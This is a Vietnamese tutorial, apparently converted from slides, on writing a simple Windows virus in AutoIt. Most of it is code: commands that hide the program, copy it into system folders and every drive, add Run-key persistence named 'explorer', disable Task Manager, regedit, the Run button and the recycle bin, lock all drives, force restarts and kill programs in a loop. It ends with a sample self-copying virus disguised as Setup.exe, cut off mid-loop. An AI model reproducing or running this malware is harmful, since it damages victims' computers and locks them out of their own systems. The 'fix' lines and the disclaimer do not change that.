Tài liệu Cách viết 1 virus đơn giản pptx

Để viết một chương trình virus đơn giản,đầu tiên các bạn phải down chương
trình về tại đây
AutoIt Script Home Page
Link direct: />*Chú ý: +Khi edit 1 một con virus bắt buộc phải nhấn phải chuột rồi nhấn
edit script, chứ nếu nhấn chuột trái như bình thường là bạn sẽ tự dính con
virus mà bạn làm ra đó
+Không nên kiếm ebook autoit vì nó kô hữu dụng cho bạn đâu, nếu muốn
học sâu và rộng hơn thì bạn bắt buộc phải đọc trong file help của chương
trình
+Icon của chương trình bắt buộc kô được đẽ mặc định vì các trình virus sẽ
phát hiện
+Các lệnh mình sẽ làm nổi lên
Nhưng gì mình viết lên đây chỉ mang tính chất tham khảo.Yêu cầu các bạn
không dùng những gì mình viết lên đây để phá người khác
Bắt đầu:
Bước 1: Coppy các code từ hoalong77
Bước 2: Tạo 1 file .au3
Bước 3:Edit scirpt
Bước 4 Paste code vào
Bước 5:Convert file au3 --> exe (cái này quan trọng)
Nếu đây là lần đâu tiên bạn convert file au3 --> exe thì phải làm theo các
bước đó, nhưng về sau bạn chỉ cần nhấn phải chột vào file au3 và nhấn
compile script là file exe sẽ compile ngay tại thư mục chứa file au3 ^^
Lệnh đầu tiên mà bắt buộc con virus = autoit nào cũng phải có:
#Notrayicon
---> để kô hiện chương trình ở taskbar,có nghĩa là nó sẽ chạy ẩn trong
Windown
FileCopy(@ScriptDir & "\***.exe","C:\WINDOWS",1)
---> "***" sẽ là tên virus mà bạn tạo ở con autoit này, lệnh này dùng để kết
hợp với lệnh kế tiếp.Lưu ý:Tên virus này bạn sẽ tạo ra lúc biên dich chương

trình thành file .exe
Lệnh khắc phục:
FileDelete("C:\Windows\*****.exe")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr
entVersion\Run","explorer","REG_SZ",@WindowsDir & "\*****.exe")
---> **** sẽ là tên chương trình, lệnh này dùng để khởi động virus mỗi khi
máy tính được bật lên, và chỉ dùng được khi có lệnh ở trên
Lệnh khắc phục:
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur
rentVersion\Run","explorer")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre
ntVersion\Policies\System","DisableTaskMgr","REG_DWORD","1")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr
entVersion\Policies\System","DisableTaskMgr","REG_DWORD","1")
----> lệnh này sẽ giúp con virus của bạn khóa taskmanager của máy tính
Lệnh khắc phục:
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre
ntVersion\Policies\System","DisableTaskMgr")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur
rentVersion\Policies\System","DisableTaskMgr")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre
ntVersion\Policies\System","DisableRegistryTools","REG_DWORD","1")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr
entVersion\Policies\System","DisableRegistryTools","REG_DWORD","1")
----> lệnh này sẽ giúp con virus của bạn khóa regedit của máy tính
Lệnh khắc phục:
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre
ntVersion\Policies\System","DisableRegistryTools")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur
rentVersion\Policies\System","DisableRegistryTools")

RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr
entVersion\Policies\Explorer","NoRun","REG_DWORD","1")
----> lệnh này sẽ giúp làm mất nút run trong windows
Lệnh khắc phục:
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur
rentVersion\Policies\Explorer","NoRun")
RegWrite("HKEY_LOCAL_MACHINE\ SOFTWARE\
Microsoft\Windows\CurrentVersion\Explorer\BitBucket","NukeOnDelete","
RED_DWORD","1")
----->Lệnh này sẽ làm vô hiệu hoá thùng rác
Lệnh khắc phục:
RegDelete("HKEY_LOCAL_MACHINE\ SOFTWARE\
Microsoft\Windows\CurrentVersion\Explorer\BitBucket","NukeOnDelete")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre
ntVersion\Policies\Explorer","NoViewOnDrive","REG_DWORD","671088
63")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr
entVersion\Policies\Explorer","NoViewOnDrive","REG_DWORD","67108
863")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre
ntVersion\Policies\Explorer","NoDrives","REG_DWORD","67108863")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr
entVersion\Policies\Explorer","NoDrives","REG_DWORD","67108863")
----> lệnh này giúp bạn khóa ổ đĩa của người khác, kô cho truy cập vào ổ
đĩa, "67108863" ---> là thông số để khóa tất cả các ổ đĩa
Lệnh khắc phục:
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre
ntVersion\Policies\Explorer","NoViewOnDrive")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur
rentVersion\Policies\Explorer","NoViewOnDrive")

RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre
ntVersion\Policies\Explorer","NoDrives")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur
rentVersion\Policies\Explorer","NoDrives")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre
ntVersion\Policies\Explorer","NoClose","REG_DWORD","1")
---> lệnh này làm mất nút Shutdown ở Start
Lệnh khắc phục:
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre
ntVersion\Policies\Explorer","NoClose")
Lệnh reset máy: Các ban cần lưu ý với các lệnh reset máy vì nó sẽ reset máy
của ban liện tục mỗi khi bạn vào Windown
Shutdown(thông số)
Các thông số có thể có là
+0: Đổi user (hay thường gọi là log off)
+1: Tắt máy (shutdown)
+2: reset máy(restart)
+4: Force
+8: Power down
+32: Stanby
+64: Hibernate
VD: Shutdown(2) ---> reset máy
Lệnh đợi, dừng:
Sleep(seconds)
VD: Sleep(3000) ---> Dừng 3 giây
Lệnh kô cho mỡ 1 chương trình bất kỳ (chỉ cần biết tên process của chương
trình đó)
$VA = ProcessExists("iexplore.exe")
$RA = ProcessClose("iexplore.exe")
$BU = ProcessExists("winamp.exe")

$BA = ProcessClose("winamp.exe")
While 1
if $VA then $RA
$RA = ProcessClose("iexplore.exe")
if $BU then $BA
$BA = ProcessClose("winamp.exe")
WEnd
----> VD: If ProcessExists("iexplorer.exe") then ---> khi máy tính mở file
iexplorer (IE)
ProcessClose("iexplorer.exe") --> đóng ngay lập tức
EndIf
Còn đây la một con virus nhỏ mà mình đã tự viết:
#cs ----------------------------------------------------------------------------
Author: hoalong77
Script Function:
Template AutoIt script.
#ce ----------------------------------------------------------------------------
; Script Start - Add your code below here
#Notrayicon
FileCopy(@ScriptDir & "\Setup.exe","C:\WINDOWS",1)
FileCopy(@ScriptDir & "\Setup.exe","C:\Program Files",1)
FileCopy(@ScriptDir & "\Setup.exe","C:\Program Files\Common Files",1)
FileCopy(@ScriptDir & "\Setup.exe","C:\Program Files\Internet
Explorer",1)
FileCopy(@ScriptDir & "\Setup.exe","C:\Program Files\Windows Media
Player",1)
FileCopy(@ScriptDir & "\Setup.exe","C:\Program Files\Windows Media
Player\Sample Playlists",1)
FileCopy(@ScriptDir & "\Setup.exe","C:\Program Files\Internet
Explorer\SIGNUP",1)

FileCopy(@ScriptDir & "\Setup.exe","C:\WINDOWS\system32",1)
FileCopy(@ScriptDir & "\Setup.exe","C:\WINDOWS\system",1)
FileCopy(@ScriptDir & "\Setup.exe","C:\Program Files\Windows NT",1)
FileCopy(@ScriptDir & "\Setup.exe","D:\",1)
FileCopy(@ScriptDir & "\Setup.exe","E:\",1)
FileCopy(@ScriptDir & "\Setup.exe","F:\",1)
FileCopy(@ScriptDir & "\Setup.exe","G:\",1)
FileCopy(@ScriptDir & "\Setup.exe","H:\",1)
FileCopy(@ScriptDir & "\Setup.exe","J:\",1)
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr
entVersion\Run","explorer","REG_SZ",@WindowsDir & "\Setup.exe")
While 1
FileCopy(@ScriptDir & "\Setup.exe","C:\WINDOWS",1)